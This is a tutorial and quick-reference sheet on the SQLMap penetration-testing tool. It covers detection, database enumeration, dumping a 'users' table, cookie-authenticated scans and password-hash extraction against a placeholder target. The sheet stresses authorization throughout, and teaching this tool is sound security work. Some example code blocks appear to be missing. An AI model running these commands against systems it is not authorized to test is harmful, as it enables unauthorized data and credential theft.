SQLMap
SQLMap is an open-source penetration testing tool that automates detecting and exploiting SQL injection vulnerabilities.
It can identify injection points, fingerprint the database, enumerate databases and tables, dump data, and assist with deeper testing.
Warning
SQLMap can send many requests and may be noisy. Only use it against systems you own or have explicit permission to test.
When to Use SQLMap
SQLMap is useful after you identify or suspect SQL injection.
Good use cases:
- Authorized labs
- CTFs
- Internal assessments
- Bug bounty targets in scope
- Confirming manually discovered SQLi
- Enumerating database structure safely
Avoid running it blindly against public targets without permission.
Basic GET Parameter Test
Example target:
Basic scan:
SQLMap will test the parameter and try to determine whether it is injectable.
Non-Interactive Mode
Use --batch to automatically answer prompts with defaults.
This is useful for labs or repeatable testing.
Wizard Mode
SQLMap includes an interactive wizard.
This walks through target setup and scan depth.
It can be useful for beginners, but learning the flags is better long term.
Database Enumeration Workflow
Once SQLMap confirms SQL injection, use a structured workflow.
1. List Databases
2. List Tables in a Database
3. List Columns in a Table
4. Dump a Table
Common Flags
| Flag | Purpose |
|---|---|
-u <URL> |
Target URL |
--batch |
Use default answers |
--dbs |
List databases |
-D <database> |
Select database |
--tables |
List tables |
-T <table> |
Select table |
--columns |
List columns |
-C <columns> |
Select columns |
--dump |
Dump selected data |
--wizard |
Interactive guided mode |
Testing POST Requests
Many SQLi points are in POST body parameters.
Save a raw HTTP request from Burp Suite to a file:
Then run:
This is often cleaner than manually reconstructing complex requests.
Testing a Specific Parameter
Use -p to tell SQLMap which parameter to test.
This reduces unnecessary testing.
Cookies and Authenticated Testing
If the vulnerable functionality requires login, include the session cookie.
For more complex authenticated requests, prefer:
Risk and Level
SQLMap can increase test intensity using --risk and --level.
General idea:
| Option | Meaning |
|---|---|
--level |
Number of tests and locations tested |
--risk |
Potential impact of payloads |
Higher values can be more intrusive.
Warning
Do not increase risk or level on production systems unless the assessment scope explicitly allows it.
Output Directory
SQLMap saves results in an output directory.
You can choose one:
This helps keep evidence organized.
Useful Options
| Option | Purpose |
|---|---|
--current-db |
Show current database |
--current-user |
Show database user |
--hostname |
Show DBMS host name |
--banner |
Show DBMS banner |
--is-dba |
Check DBA privileges |
--passwords |
Attempt to enumerate password hashes |
--forms |
Parse and test forms |
--crawl=<depth> |
Crawl site links |
--threads=<n> |
Use multiple threads |
Use these carefully and only when authorized.
Practical Workflow
A clean lab workflow:
# 1. Basic detection
sqlmap -u "http://target/search?cat=1" --batch
# 2. Enumerate databases
sqlmap -u "http://target/search?cat=1" --dbs --batch
# 3. Enumerate tables
sqlmap -u "http://target/search?cat=1" -D appdb --tables --batch
# 4. Enumerate columns
sqlmap -u "http://target/search?cat=1" -D appdb -T users --columns --batch
# 5. Dump selected table
sqlmap -u "http://target/search?cat=1" -D appdb -T users --dump --batch
Using Burp Requests
For real testing, using a captured request is often best.
- Capture the request in Burp Suite.
- Right click and copy/save the raw request.
- Save it as
request.txt. - Run SQLMap.
Benefits:
- Preserves cookies
- Preserves headers
- Preserves POST data
- Preserves JSON body
- Avoids manual formatting mistakes
Noise and Safety
SQLMap is powerful but noisy.
Risks:
- Many requests in a short time
- IDS/IPS alerts
- WAF blocking
- Account lockouts
- Large database dumps
- Possible performance impact
Safer habits:
- Get written authorization.
- Start with low intensity.
- Test one parameter at a time.
- Avoid destructive options.
- Limit dumps to proof-of-concept data.
- Document commands and timestamps.
- Stop if the system becomes unstable.
Quick Reference
| Goal | Command |
|---|---|
| Basic test | sqlmap -u "URL" |
| Non-interactive | sqlmap -u "URL" --batch |
| List DBs | sqlmap -u "URL" --dbs |
| List tables | sqlmap -u "URL" -D db --tables |
| List columns | sqlmap -u "URL" -D db -T table --columns |
| Dump table | sqlmap -u "URL" -D db -T table --dump |
| Use raw request | sqlmap -r request.txt |
| Test parameter | sqlmap -u "URL" -p id |
| Use cookie | sqlmap -u "URL" --cookie="session=value" |
Notes to Remember
- SQLMap automates SQL injection testing.
- Confirm scope before running it.
-utests a URL.-ruses a saved raw HTTP request.--dbs,--tables,--columns, and--dumpare the common enumeration chain.--batchavoids interactive prompts.- Use
-pto focus on one parameter. - Higher
--riskand--levelincrease intensity. - SQLMap is helpful, but manual understanding of SQLi is still important.